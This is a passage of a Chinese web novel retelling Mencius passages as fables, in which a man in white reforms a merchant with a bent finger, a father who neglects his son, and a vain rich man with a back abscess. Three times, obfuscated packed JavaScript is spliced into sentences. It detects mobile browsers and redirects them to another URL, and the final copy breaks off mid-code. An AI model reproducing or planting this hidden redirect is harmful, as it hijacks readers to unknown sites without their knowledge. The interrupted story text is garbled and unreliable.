金如玉傲然:“爱美恶丑,人之常情。此指虽不碍事,然宴饮之间,宾客观之,多有窃议。老夫千金之躯,岂容微瑕?” “善哉!”白衣人拊掌,“翁恶指之不若人,不惜跋涉。然则——”话锋一转,“若心不若人,翁亦知恶乎?” 金如玉一怔:“心…心如何不若人?” 白衣人踱至火堆旁,指一老乞儿:“此老丈今年六十有二,三日前拾得钱袋,内藏纹银五十两,苦候失主整日,终全璧归还。翁可能为?” 金如玉面颊微抽:“这…区区五十两…” “非关银两,关乎心。”白衣人声朗朗,“孟子曰:‘指不若人,则知恶之;心不若人,则不知恶。此之谓不知类也。’今翁之指,不过形貌微瑕;而翁之心——”他直视金如玉,“可有此老丈之廉?” 金如玉汗出,强道:“老夫营商,向来公道…” “去年腊月,翁贩米至涿州,恰逢雪灾,米价飙涨。翁囤米不售,待价而沽,有贫妇跪求一斗米救垂死幼儿,翁以‘市价’拒之。三日后,妇与子皆冻毙。可有此事?” 金如玉如遭雷击,连退三步:“你…你怎知…” “翁不必问我怎知。”白衣人叹息,“我只问翁:指屈,不过形秽;心屈,乃成德亏。今翁为形秽奔波万里,对德亏却安之若素,此非‘不知类’乎?” 满庙寂然,唯闻柴火哔剥。众乞儿皆瞪大眼,看这锦衣翁面色由红转白,由白转青。 老乞儿忽开口:“这位爷,小老儿多嘴一句:指头弯了,别人看见;心弯了,自己知道啊。” 金如玉浑身一颤,扶柱方能立稳。 二、 三不若 白衣人自怀中取出一卷泛黄帛书,就火光展开,上书《孟子》章句。他指“心不若人”四字: “今我为翁说‘三不若’,翁可自省。” “一不若:廉。” 白衣人指老乞儿,“此老拾金不昧,翁可能及?” 金如玉垂首。 “二不若:仁。” 白衣人指一少年乞儿,“此子前日分半块饼与垂死野犬,翁见饥民,可肯分半碗粥?” 金如玉冷汗涔涔。 “三不若:义。” 白衣人指庙外雨幕,“此番西行,翁车马仆从数十人,有老仆病重,翁嫌拖累,弃之于野店,可曾遣人照料?” 金如玉扑通跪地,以袖掩面:“别…别说了…” 白衣人收帛,温言:“非我刻薄,是翁不自知耳。指不若人,一目了然,故翁深恶;心不若人,隐而不显,故翁不察。此正是孟子所叹‘不知类’——不知轻重类比,不辨本末缓急。” 此时庙外雨歇,新月破云。白衣人推开破门,月光洒入,照见金如玉涕泪纵横。 “翁且看,”白衣人引金翁至檐下,指其影,“此影有屈指否?” 金如玉茫然摇头。 “是了。形骸之瑕,影中不显;心性之亏,却刻于魂神,昼夜相随。翁恶形瑕而忘神亏,岂非舍本逐末?” 金如玉终于崩溃,伏地大哭:“先生…先生教我!我这心…该如何治?” 白衣人扶起他:“指屈,求医可治;心屈,求己可医。翁愿治心否?” “愿!万死愿!” 三、 治心方 白衣人不语,走至庙中残破的土灶前,以木枝书地,开出一“方”: “治心方 君药:忏悔一味,剂量:至诚 臣药:改过三斤,须实心实意 佐药:行善五车,莫问前程 使药:静坐半生,常观此心 忌:饰非、文过、自欺 宜:知耻、勇猛、持久” 书毕,道:“此方无价,然难在持久。翁可能持?” 金如玉凝视药方,忽然撩袍,对众乞儿深深一揖:“金某往日为富不仁,今日在各位面前立誓:自此洗心革面,若再亏心,天地不容!” 老乞儿慌忙扶起:“使不得!金翁快快请起。” 白衣人颔首:“誓言易发,践行难持。翁且从眼前起——”他指庙中漏处,“此庙破败,翁可愿修葺?” “愿!” “此数位乞儿,翁可愿安置?” “愿!” “涿州冻毙母子,翁可愿补偿?” 金如玉一怔,随即道:“我…我亲往涿州,寻其家人,养老送终!” 白衣人这才露笑:“善。然翁且记:此行非为赎罪求安,是真心悔过。若存‘将功补过’之心,便是以善行饰旧恶,如以香粉掩腐疮,终会溃烂。” 金如玉肃然:“谨受教。” 是夜,金如玉与乞儿们同宿破庙,分食干粮。次日,遣散大半仆从,只留三辆马车,载乞儿们同返青州。临行前,他伸出屈指,对白衣人道:“此指…” 白衣人执其手,轻轻一捋。说也奇,那屈了数十年的无名指,竟“嗒”一声轻响,缓缓伸直了。 金如玉目瞪口呆。 “指本无恙,是翁心结作祟。”白衣人微笑,“心结既解,指自伸。然翁需谨记:此指可伸,是因翁愿治心。若他日心又屈了,只怕指亦会再屈。” 金如玉拜谢:“某必以心为鉴,不敢再屈!” 车马远去。白衣人独立荒庙前,忽闻身后有声:“先生真乃神人。” 却是那老乞儿未走,跪地叩首。 白衣人扶起:“老丈请起。您前日拾金不昧,便是心不屈。心不屈,虽衣不蔽体,亦是顶天立地。” 老乞儿泪涌:“小老儿…小老儿只是不忍…” “不忍,便是仁心。”白衣人正色,“孟子之教,不过唤醒此‘不忍’之心。世人多如金翁,重形轻心。愿老丈永保此心。” 言罢,踏草而去,歌曰: “指屈不过形骸病, 心屈才是膏肓疾。 秦楚奔波治指拙, 何曾回光问心亏? 但得知耻即良药, 不必远求扁鹊医。 心若堂堂指自直, 青天明月两不欺。” 歌声渐杳,老乞儿独立良久,忽觉胸中暖意盎然。 四、 伸直录 金如玉归青州,果修葺荒庙,取名“醒心庙”。安置众乞儿,有愿归乡者赠银,愿留者予业。又亲赴涿州,苦寻三月,找到冻毙妇人之父,奉养如亲。更散家财之半,设“润心堂”,专济贫苦,立规“不问来历,不索回报”。 青州人初疑其伪,日久见其诚,皆叹“金翁脱胎换骨”。 景隆六年春,有游方郎中过青州,闻金翁旧疾,特来拜会。见金翁手,讶道:“翁指曾屈,今何以伸?” 金翁笑而不答,示以“治心方”。郎中大悟,拜曰:“此方胜我金针,可治天下屈心人。” 是年旱,米价又涨。昔日米商皆囤积,独金如玉开仓平价,更设粥棚。有旧友讽:“兄台矫枉过正。”金翁正色:“非矫饰,是真心。昔日心屈,今日求伸而已。” 至秋,润心堂前聚乞儿数十,皆愿务工自食。金翁设“直心工坊”,教以技艺。一少年学得木工,为金翁雕一手像,五指皆直,掌托“心”字。 金翁悬像于堂,题曰: “指屈易见,心屈难知。 但得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088189|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心直,指屈何辞?” 白衣人曾言“心若屈,指或再屈”,然金如玉持心甚坚,其指竟再未屈过。郎中奇之,问其故,金翁曰:“心在腔中,如舵在船。舵正则船直,心正则形端。我每日自问:心可屈否?既不屈,指何屈?” 景隆九年,金翁无疾而终。临终召子孙曰:“我生五十九年,前五十年为屈指活,后九年为伸心活。指屈不过损貌,心屈实乃损德。你等谨记:但求心直,莫问形曲。” 出殡日,青州百姓夹道送行。昔年庙中老乞儿,今为润心堂主事,率众跪哭:“公心已直,可对天日。” 忽有白衣人现于送葬队尾,投一白菊于棺,悄然而去。童子见之,指呼:“白衣先生!”众回顾,唯见纸钱飞舞,杳无人踪。 尾声直心碑 金翁葬后,乡人于醒心庙前立“直心碑”,刻孟子“屈指”章句。碑阴有金翁遗训: “余少时重形轻德,为屈指奔波万里,不知心屈之甚。幸遇白衣先生,以孟子之言棒喝,始知本末倒置。 归而自省,忏悔改过,十年乃得心安。今立此碑,警我后人及见者:指不若人,不过形陋;心不若人,实为德衰。 形陋可见,德衰难知。故当时时拂拭此心,莫使屈而不伸。心直,则形曲何妨?心屈,则形直亦丑。” 碑成,常有父母携顽童来,抚碑问:“儿可能见心中屈直?”童茫然。父母曰:“见你指上泥乎?心屈如指染泥,初不觉,久成垢。当勤洗拭。” 后十年,有贪官过青州,见碑文,嗤之以鼻。夜梦金翁来,执其手曰:“君心屈矣。”贪官惊醒,扪心汗出,次日辞官归乡。人问其故,曰:“恐心屈不可治。” 又十年,有富贾骄横,辱骂佃户。佃户不争,但引至碑前,指“心不若人”四字。富贾观之,默然良久,竟向佃户揖谢。自此改行善事,人问之,曰:“彼佃户心直,我心曲,实不若人。” 大燕仁和三年,青州大疫,润心堂施药,活人无算。有染疫者拒药,曰:“我命贱,不费公药。”主事正色:“心无贵贱,但论曲直。君心直,当活。”疫者泣受。 自此,青州有谚:“指屈可医,心屈无治。”小儿斗口,辄言:“你心屈!”对方必惭。 而醒心庙香火不绝,非求神佛,乃为“醒心”。每至朔望,士民聚于直心碑前,互问:“君心可直?”答曰:“勉力为之。” 有游方僧至此,见碑下常有清水一钵,花瓣数片,问何意。守庙童子曰:“心镜蒙尘,以水拭之;心田枯槁,以花润之。” 僧叹:“但得此心常直,何须远拜西天?” 掬水饮之,甘冽入心。 本章诫世 一、 形心之辨 - 世人重形貌瑕疵,轻心性亏缺,是本末倒置 - 破解法:见人形陋莫讥,见己心屈当惕 - 示例:金如玉为屈指奔波万里,对亏心害命安之若素 二、 不若之悲 - 指不若人则知恶,心不若人竟不知,是人性迷障 - 惕世:多少人在修饰皮囊,却任心性蒙尘?多少人对镜贴花,不敢对心自照? - 反思:可曾为衣冠不整而恼,却对言行有亏坦然? 三、 治心之方 - 心屈非不治,需忏悔、改过、行善、自省 - 深层隐喻:教育当教人治心,非只治标 - 终极指向:心直则形端,心屈则形胜何益 屈指偈: 景隆四年秋雨绵,金翁为指走秦川。 白衣庙中指心屈,乞儿火畔显廉坚。 指屈易见求万里,心屈难知竟晏然。 至今直心碑下水,犹照行人省媸妍。 后世叹: 大燕青州金氏翁,屈指求医西复东。 白衣说破形心辨,乞儿彰显廉耻风。 指不若人知厌恶,心输仁义竟盲聋。 幸得回光返照处,直心碑下悟穷通。 正是: 富商屈指走天涯,心屈浑然不自嗟。 幸有白衣明镜语,能教愚顽醒眼瞎。 指拙可求扁鹊术,心亏须用己身砭。 至今醒心庙前月,犹照人间正与斜。 38. 养身谳 楔子桐下叟 大晋天祐二年,淮安有富户陈员外,于后园手植梧桐、梓木各一株,皆拱把粗细。晨昏浇水,岁岁修枝,遇虫治虫,逢旱架棚。十年后,双木参天,浓荫蔽日。陈员外常抚树干笑曰:“吾桐梓若子也!” 其独子名陈养浩,年十六,面黄肌瘦。陈员外斥之:“终日病恹,不如吾木!”延医问药,皆不持久。一日,有游方道人见养浩,叹曰:“公子非身病,乃心病。心气郁结,如木遭蠹。” 陈员外嗤之:“吾子锦衣玉食,何来郁结?”仍专心伺木。 是年秋,养浩呕血昏厥。陈员外急召名医,医者把脉良久,摇首:“公子五内如焚,是忧思过度,精气耗竭。恐非药石可医。” 陈员外大恸,抱子泣曰:“吾养木成材,何以养子至此?” 忽闻庭中有人朗声:“员外爱桐梓,皆知所以养之;至于身,而不知所以养之,岂爱身不若桐梓哉?” 众惊顾,见一白衣人倚桐而立,斗笠面纱,木剑负背,手中正拈一片桐叶。 一、 养木经 陈员外拭泪起身:“阁下何人?安敢妄言!” 白衣人缓步近前,示以桐叶:“员外看此叶,可有虫蠹?” 叶面光洁,纹理分明。 “无。” “叶脉可畅?” “畅。” “此乃员外养木之功。”白衣人颔首,“然养木之法,员外可知其要?” 陈员外傲然:“如何不知?一日三看水,十日一施肥,见虫即除,遇风则护。” “善。”白衣人话锋一转,“然养人之法,员外可知?” “人…人非草木,自是衣食温饱…” “谬矣!”白衣人声转清越,“孟子曰:‘拱把之桐、梓,人苟欲生之,皆知所以养之者。至于身,而不知所以养之者,岂爱身不若桐梓哉?弗思甚也。’今员外养木,知水、肥、光、风、虫五要;养子,但知衣食二事。此非爱子不若木,是弗思甚也!” 陈员外面红耳赤:“你…你倒说说,养人需何法?” 白衣人走至养浩榻前,三指虚按其腕,闭目片刻:“令郎之症,在五不养。” “何为五不养?” “一不养心。”白衣人睁眼,“员外望子成龙,自其蒙学,日课十时,夜读三更。稍有懈怠,呵斥随之。此是拔苗助长,心田早涸。” 陈员外语塞。 “二不养气。”白衣人续道,“令郎好诗文,员外谓‘无用’;慕侠义,员外斥‘荒唐’。志气不伸,如木遭缠,焉能不萎?” “三不养情。”白衣人指窗外,“令郎有友来访,员外嫌贫拒之;有婢善解意,员外恐分心,逐出府门。孤绝如盆木,无风雨润泽。” “四不养趣。”白衣人叹,“令郎爱观星,员外拆其观星台;喜饲雀,员外焚其雀笼。生趣尽灭,如木断根。” “五不养神。”白衣人正色,“终日困于书斋,不见山川,不闻天籁,神如笼鸟,翅折难飞。此五不养,纵有参汤灵芝,不过续命,难救根本。” 一席话,说得陈员外冷汗涔涔,跌坐椅中。 白衣人自袖中取出一卷帛书,展于案上,竟是《孟子》章句抄本,朱笔圈点“养身”二字。 “员外看,孟子所言‘养身’,非养血肉躯,是养仁义心、浩然气、中和情、天然趣、清朗神。今员外以养木之法养木,而以囚笼之法养人,岂不悖谬?” 陈员外伏地泣道:“先生救我儿!” 二、 五养方 白衣人扶起陈员外:“救令郎,需用‘五养方’。然此方无药,需员外自为。” “请先生明示!” 白衣人取笔濡墨,就《孟子》抄本边白处,写下五方: “养心方: 去苛责,存宽和。 顺其性,导其善。 如木向阳,莫强扭。” “养气方: 许其志,壮其怀。 读万卷亦需行万里, 如木经风,干乃坚。” “养情方: 容其友,纳其善。 人间温暖如春雨, 孤木无伴难参天。” “养趣方: 存其好,护其真。 观星饲雀皆生趣, 根深方得叶葳蕤。” “养神方: 开窗牖,见天地。 神游八极气自华, 室木移野必森然。” 书毕,对陈员外道:“此五方,员外能持否?” “能!必能!” “非但持,需化入日常。”白衣人指庭中桐梓,“员外养木,知其需阳光雨露,故不置暗室。养人亦需知其所求——令郎所求,非锦衣玉食,是心宽、气壮、情暖、趣真、神畅。今我开一剂引子…” 他走至养浩榻前,轻声道:“公子可爱桐荫?” 养浩虚弱睁眼,微颔。 “可想见星?” 泪涌。 “可念故友?” 哽咽不能言。 白衣人转身:“员外听见了?从今日起,移榻桐下,夜观星,昼会友,诗书随意,三年不赴科考。可愿?” 陈员外咬牙:“愿!只要吾儿康复…” “非但康复,且要成才。”白衣人正色,“木在盆中,终生不过拱把;人在笼中,永难昂首天地。员外若能以养木之心养子,以敬木之礼敬人,则令郎之材,必不逊此双木。” 言罢,木剑出鞘,在桐树干上刻: “养木皆知水肥功, 养人何止衣食丰? 心气神情趣五养, 参天材在方寸中。” 刻痕入木三分,渗出清汁,如泪。 三、 桐荫养 陈员外果移子榻于桐下。初时,养浩仍萎靡。白衣人每日辰时至,不诊脉,不施药,但与养浩闲话。 第一日,说桐:“此木初植,不过拱把。员外日观其长,夜忧其枯,十年乃成荫。人亦如木,生长有时,不可骤催。” 养浩默然。 第二日,说梓:“梓木宜琴瑟,然需百年之养。今人斫木求速,三年成器,声必嘶哑。养人求速,亦如此。” 养浩目有微光。 第三日,白衣人携一囊,中皆树种:松、柏、槐、柳、榆…散于庭中,道:“此诸木,各有其性。松耐寒,柳喜水,柏向阳,榆不择地。养木需顺其性,养人亦需因材施教。公子性近何木?” 养浩指槐:“此木…荫广。” “善,槐荫庇人,是仁者心。”白衣人抚其额,“公子志在庇人,何必强为松柏参天?” 养浩泪下:“父…父欲我为松柏…” “松柏固佳,槐榆亦美。”白衣人温言,“今你父已悟。你可自在生长。” 自第四日起,养浩渐进食。陈员外果不迫其读书,反购《山海经》《水经注》诸书,置榻边。又邀昔日被逐婢女小荷归,此女善琴,常于桐下轻抚。 旬日,养浩可坐起。小荷琴韵中,他忽吟:“桐叶碧,梓花香,一榻清风日月长…” 陈员外闻之,暗泣于室。 白衣人又引养浩故友来访。有贫士子周文,昔因衣敝被拒,今陈员外亲迎入座。文与养浩谈诗论文,养浩面上渐有血色。 一月后,养浩可下榻缓行。常与周文对弈桐荫,与仆童饲雀,夜则仰观星象,自绘星图。 白衣人时来观之,但笑不语。某日,指养浩所绘星图:“此心已游天外,神得养矣。” 又指其与仆童嬉戏:“此情得润。” 再指与周文辩难:“此气得伸。” 终指其抚桐长吟:“此趣得真,心得宽。五养俱全,疾自瘳矣。” 果三月,养浩面转红润,体渐丰实。非但病愈,目中有光,言谈从容,竟有林下之风。 四、 材成记 秋深,桐叶落。养浩已健步如飞,日与周文游学四乡,访贫问苦。见有孤寡,归禀其父,赠米赠衣。陈员外欣然:“吾儿知仁矣。” 一日,乡中疫起。养浩率仆设棚施药,亲尝汤剂,抚慰病者。有老妪垂危,养浩守三昼夜,竟得生还。乡人感泣,称“小陈善人”。 白衣人暗观,颔首谓陈员外:“令郎此疾,生生于‘仁不得施’。今仁心发露,如木得雨,自然勃发。员外看,此非胜于参汤灵芝?” 陈员外拜谢:“非先生,吾几杀吾子!” “非我之功,是孟子之言醒人。”白衣人正色,“世人多如员外,养物精心,养人粗心。于花草虫鱼,知寒暖燥湿;于子女自身,但知鞭策驱驰。此谓爱物过身,惜形忘神。愿员外自此推广——待仆役,知养其力更养其心;待乡邻,知济其贫更慰其情。则一家仁,一乡兴。” 陈员外凛然受教。 腊月,养浩聚乡童于桐下,授《千字文》。有童愚钝,养浩不责,反以桐叶为喻:“此叶初生,亦蜷曲。待日照雨润,自舒展。你且缓学,必有大成。”童泣拜。 白衣人见之,对陈员外道:“此谓养人之道,已得薪传。” 除夕,陈府设宴,不请贵客,但邀乡老、佃户、昔年乞儿。席间,养浩抚琴,小荷歌曰: “桐荫深深护稚芽, 春风化雨润贫家。 但得仁心常养护, 人间何处不芳华。” 满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088190|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座感泣。白衣人忽举杯:“吾当去矣。临别有赠。” 取木剑,于庭中青石板上,刻“养身”二字,深可寸许。又于旁刻小注: “养身非养形, 养心乃养生。 心气神情趣, 五养可成仁。 桐梓犹需护, 人子岂不珍? 愿君常思此, 莫作懵懂人。” 刻毕,掷剑于地,竟入石三寸,直立如碑。 “此剑留此,见剑如见我言。”白衣人长笑,振衣而去,踏月歌曰: “世人爱桐梓,呵护如明珠。 及至身与子,但知饲饭蔬。 岂知养身道,首在养灵枢。 心宽气自壮,情暖神不枯。 趣真生妙悟,五养是良图。 愿君解此意,莫再哭遗雏。” 歌声袅袅,人已不见。 尾声养身碑 陈员外以石为碑,建亭护之,名“养身亭”。养浩后不应试,专事教化,设“五养学塾”,收乡童,授以仁、义、礼、智,更重游艺、观物、养趣。十年间,淮安文风蔚然,礼让成俗。 天祐十五年,养浩卒,乡人葬之于桐下。其生前自题墓铭: “生为病木,幸遇春风。 五养既得,朽株亦荣。 今化春泥,更护新桐。 愿人知养,莫戕生生。” 陈员外寿至耄耋,临终执孙手曰:“吾养桐成材,几害子命;幸得回眸,以养木心养人,子竟成德。你等谨记:养人如养木,顺其性,润其根,予其光,耐其长。莫学吾当年,但知浇水,不通风日。” 孙辈皆泣受。 又三十年,养身亭朽,乡人重修,于亭侧掘井,名“五养泉”。井栏刻《孟子》“拱把桐梓”章,旁镌养浩“五养方”。每逢朔望,父母携子至泉前,掬水饮之,告曰:“此水养身,更养心。” 有顽童厌学,父不责,但引至古桐下,指树上白衣人刻字:“你见此桐乎?若无阳光雨露,安能参天?你心所需阳光雨露,父当予你。莫急,莫慌。” 童仰观桐荫如盖,若有所思。 时有游学士子过淮安,饮泉读碑,问乡老:“五养之道,真可育人乎?” 乡老指满乡葱茏:“君不见此乡子弟,多从容温厚,鲜有暴戾。非天生,是养之得法。昔年陈公子病木逢春,今我乡皆效其法——养心以宽,养气以壮,养情以暖,养趣以真,养神以畅。人得五养,如木得五候,自然欣欣。” 士子叹服,抄碑文以归。后任县令,以“五养”治县,不三年,邑内大治。有上司责其“宽纵”,县令对曰:“养民如养木,但予阳光雨露,自会向荣。若旦旦伐之,虽拱把之材,亦成枯桩。” 其语流传,竟成一方治道。 而古桐今犹茂,每至春,新叶萌发,飒飒作响。 似在说: 养啊,养啊。 莫只养其形。 要养那一点灵明,一缕生气,一片仁心。 本章诫世 一、 养木养人之悖 - 人精心养花草树木,却粗率养自身、子女,是本末倒置 - 破解法:待人之道,当细于待物;育子之心,当精于育木 - 示例:陈员外对桐梓呵护备至,对子但知衣食苛责 二、 五养之要 - 养身非养形骸,是养心、气、情、趣、神 - 惕世:多少“为你好”,实是戕害心性?多少“精心培养”,实是囚笼禁锢? - 反思:可曾以养宠物的耐心养心?以修盆景的细致修德? 三、 顺性成材 - 木有木性,人有人性,顺之则荣,逆之则萎 - 深层隐喻:教育本质是提供生长环境,非强扭形态 - 终极指向:人人皆可成材,只需得宜养护 养身偈: 天祐二年淮安秋,陈氏养木如养璆。 子病求医竟罔效,白衣论养醒愚瞀。 心气神情趣五要,桐荫星友药一抔。 至今养身亭下水,犹润行人枯槁眸。 后世叹: 大晋淮安陈氏园,桐梓参天荫满轩。 养木精心子垂死,白衣指要人更蕃。 顺性乃知生长乐,宽怀方得气象尊。 至今五养泉边月,犹照人间父母惇。 正是: 陈氏庭前桐梓嘉,养如珍宝护如娃。 子病求医终不愈,客来论养始知差。 心宽气壮神方畅,情暖趣真疾自瘥。 愿效养木养人法,莫将良材斫作杈。 39. 贵贱谳 楔子指背喻 大齐永昌七年,江陵有富商胡员外,家资钜万,尤爱保养。每日卯时起,以牛乳浸面,珍珠粉敷肤,又命婢女以玉轮推揉周身,自谓“无尺寸之肤不养也”。 是年夏,胡员外右手中指生一疔,大如赤豆,痛痒难当。急召全城名医,内服外敷,日耗百金。为免疤痕,竟悬手于帐,三月不沾水。 时有老友来访,见其状,哂曰:“兄台养一指若此,可曾养心?”胡员外不悦:“心在腔内,如何养得?兄不见我面如冠玉乎?” 一日,胡员外对镜顾盼,忽觉左肩背酸胀,不以为意。数日后,背生恶疮,大如碗口,高热昏聩。医者曰:“此痈疽内发,毒侵膏肓,恐难治矣。” 妻妾环泣,胡员外于昏迷中呓语:“吾指…不可留疤…” 忽闻窗外有人朗笑: “养其一指失肩背, 世间多少狼疾人! 尺寸之肤皆顾惜, 膏肓已溃竟不闻。” 众惊视,见一白衣人倚窗而立,斗笠面纱,木剑斜挎,手中拈着一片梧桐叶。 一、 体有贵贱 胡家长子怒斥:“何人擅闯?” 白衣人飘然入室,径至榻前,三指虚按胡员外腕脉,摇首道:“员外爱身,可谓至矣。然体有贵贱,养有大小。今舍贵养贱,顾小失大,正是孟子所谓‘狼疾人’也。” 长子不解:“何谓狼疾?” 白衣人自袖中取出一卷竹简,展之,乃《孟子》章句。指其中一行: “孟子曰:‘人之于身也,兼所爱。兼所爱,则兼所养也。无尺寸之肤不爱焉,则无尺寸之肤不养也。’此谓本心。” 又指下一行: “然则,‘体有贵贱,有小大。无以小害大,无以贱害贵。养其小者为小人,养其大者为大人。’此谓关键。” 再指: “‘今有场师,舍其梧檟,养其樲棘,则为贱场师焉。养其一指而失其后背,而不知也,则为狼疾人也。’此谓员外如今之症。” 满室寂然。白衣人合简,叹道: “员外养肤,可谓无微不至,此是‘兼所养’。然只养皮肉,不养五脏;重养一指,不养肩背。此是‘以小害大,以贱害贵’。譬如有园丁,不养护梧桐、楸树等良材,反费心修剪酸枣、荆棘等杂木,便是下等园丁。今员外养一指而溃肩背,不正如是?” 胡妻泣道:“先生可有良方?” “方在孟子书中。”白衣人正色,“员外之疾,非药石可医,乃在取舍不明。今愿效扁鹊见蔡桓公故事,为员外一诊。” 遂以木剑虚点胡员外周身: “此处,肝区郁结。员外为三厘利,逼死佃户张三,可有?” 长子色变。 “此处,心脉淤塞。员外为夺祖产,气死胞弟,可有?” 胡妻颤栗。 “此处,肺经焦枯。员外为避税赋,焚毁账册,累及无辜伙计下狱,可有?” 仆婢皆垂首。 “此处,肾水枯竭。员外年过五旬,纳妾七人,旦旦伐之,可有?” “此处,脾胃壅滞。员外日食山珍,夜饮醇醪,贪饕无度,可有?” 白衣人每指一处,胡员外虽昏迷,身躯必一震。及至最后,白衣人点其背疮: “此痈疽,乃五脏毒火外发。员外但知养一指之肤,不知养五脏之神;但顾容貌之贱,不顾心性之贵。今毒发膏肓,是五脏皆叛矣!” 言罢,问长子:“今有一方,可救员外。然需刮骨疗毒,去腐生新,汝家愿从否?” 长子伏地:“但求救父!” 二、 刮骨方 白衣人命取纸笔,书一方: “刮骨疗毒方 君药:忏悔一斤,需真材实料 臣药:改过三斗,须脱胎换骨 佐药:补偿五车,必诚心实意 使药:修心十年,莫要再犯 忌:饰非、推诿、欺心 宜:勇猛、精进、持久” 书毕,道:“此方不治背,治心。心毒去,背疮自消。” 长子茫然:“如何…如何用法?” “第一步,忏悔。”白衣人指胡员外,“需员外亲口忏悔诸恶。然他昏迷,可取其指血,书罪于帛,焚以告天。” 胡妻急道:“指上疔刚愈,岂可放血?” 白衣人厉声:“宁保一指,愿失性命乎?此正是‘养其一指而失肩背’之惑!” 长子咬牙,取针刺父中指,挤血数滴,书父罪十余条。书毕,白衣人命于庭中焚之。青烟起时,胡员外竟呻吟转醒。 “第二步,改过。”白衣人命扶员外坐起,问:“员外可愿改?” 胡员外气若游丝,但颔首。 “第三步,补偿。”白衣人取罪状副本,“逼死佃户,当抚其遗孤;气死胞弟,当让还祖产;累及伙计,当救其出狱;苛待仆婢,当还其自由。可愿?” 胡员外泪流,竭力道:“愿…尽我所有…” “第四步,修心。”白衣人缓声道,“自此节饮食,寡嗜欲,宽待人,厚施舍。十年之内,不可再犯。” 胡员外挣扎欲起,白衣人止之:“且慢,尚有一事。”取铜镜置其前,“员外看,此背疮可怖否?” 胡员外侧目,见疮口溃烂,几可见骨,骇然欲绝。 “再看此指。”白衣人执其右手中指,三月将养,果细腻如初,毫无疤痕。 “员外三月养此指,耗金数千,终得完美。然背生碗口疮,性命垂危,竟浑然不觉。此非‘狼疾’而何?” 胡员外大恸:“某…某知罪矣!” “知罪便好。”白衣人取金针,“今为员外刮骨疗毒,痛彻骨髓,愿忍否?” “忍!” 白衣人施针,剜去腐肉。胡员外咬巾闷哼,汗出如浆。然奇者,每剜一片,白衣人必问一桩罪愆,胡员外必答“我改”,竟不觉痛。 及至腐肉尽去,敷以草药,胡员外竟神志清明,背疮痛楚大减。 白衣人洗净手,道:“员外今知贵贱否?” “知矣!心性为贵,形骸为贱;仁德为大,私欲为小。” “善。”白衣人颔首,“然知行需合一。今我留一言,员外每日诵之。” 取笔于纱帐题: “体有贵贱分,心贵形骸轻。 养小终成小,养大方为明。 莫学狼疾人,指背不分明。 但得心性净,何处不康宁?” 题罢,对胡员外道:“员外之疾,半在身,半在名。今需舍名疗疾,可敢?” “敢!” 三、 舍名记 三日后,胡员外可坐起,即命长子: 一、 访佃户张三遗孀,赠田二十亩,银百两,认其子为义子,供读书。 二、 请胞弟之子归,当众焚毁祖产契约,全数归还,自请出族谱。 三、 携重金赴府衙,为冤狱伙计翻案,自承罪责。 四、 遣散七妾,各赠嫁资,愿留者以女待。 五、 开仓放粮,设“赎罪棚”,亲为饥民施粥。 江陵哗然。有笑其痴者,有疑其诈者,有病其狂者。胡员外皆不辩,但日诵帐上诗,背疮竟日愈。 旬日,可下榻。亲至“赎罪棚”,见饥民争抢,乃泣道:“胡某昔养一指,日费十金;今见饿殍,竟不施一文,真狼疾人也!”遂散家财三成,设“养心堂”,专济贫病。 又十日,背疮结痂。胡员外忽悟:“我昔养肤,但求人赞‘好颜色’;今行善,亦恐人讥‘假慈悲’。此心仍在养名,非养德也。”遂改“养心堂”为“默济堂”,赈济不记名,行善不留迹。 白衣人时来暗观,见其真改,乃现形贺:“员外今舍贱养贵,去小就大矣。” 胡员外拜谢:“非先生刮骨疗毒,某已死矣。今有一惑:我散财济人,家业日削,来日或至贫乏,岂非不智?” 白衣人笑指庭中梧桐、酸枣二树:“员外看,梧檟良材,樲棘杂木。若园丁尽废良材养杂木,是贱场师。然若尽伐良材,不事生产,亦是愚夫。养其大者,非弃小者,是要分明贵贱,知所先后。员外家业,正当经营,但取利以道,用之以义,便是养大不忘小,贵贱两全。” 胡员外恍然,乃重整家业,买卖公平,厚待佣工。获利则半济贫,半营生。不三年,“胡记”名声大振,人皆信其诚。 永昌十年秋,江陵大水。胡员外倾仓救灾,亲驾舟援溺。有少年落水,胡员外跃入急流救之,背疮旧痕浸水溃裂,竟不觉痛。 得救少年,恰是佃户张三之子。童子跪泣:“恩公背伤…” 胡员外大笑:“此非伤,是功勋章也!昔养一指,几丧命;今伤一背,救一命。贵贱大小,今方明矣!” 是夜,白衣人现于舟中,贺曰:“员外今为‘大人’矣。” 胡员外问:“何谓大人?” “养其大者为大人。”白衣人遥指江月,“员外昔养肤养名,是养小;今养心养德,是养大。孟子曰‘饮食之人,则人贱之矣,为其养小以失大也’。今员外岂止不贱,已成乡贤。” 胡员外再拜:“皆先生所教。” “非我所教,是孟子所言,你自悟得。”白衣人自怀中取一木匣,“临别赠此,望员外常省。” 匣开,乃一铜鉴,正面照人,背面刻《孟子》“贵贱”全章。 胡员外捧鉴,涕泪纵横。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 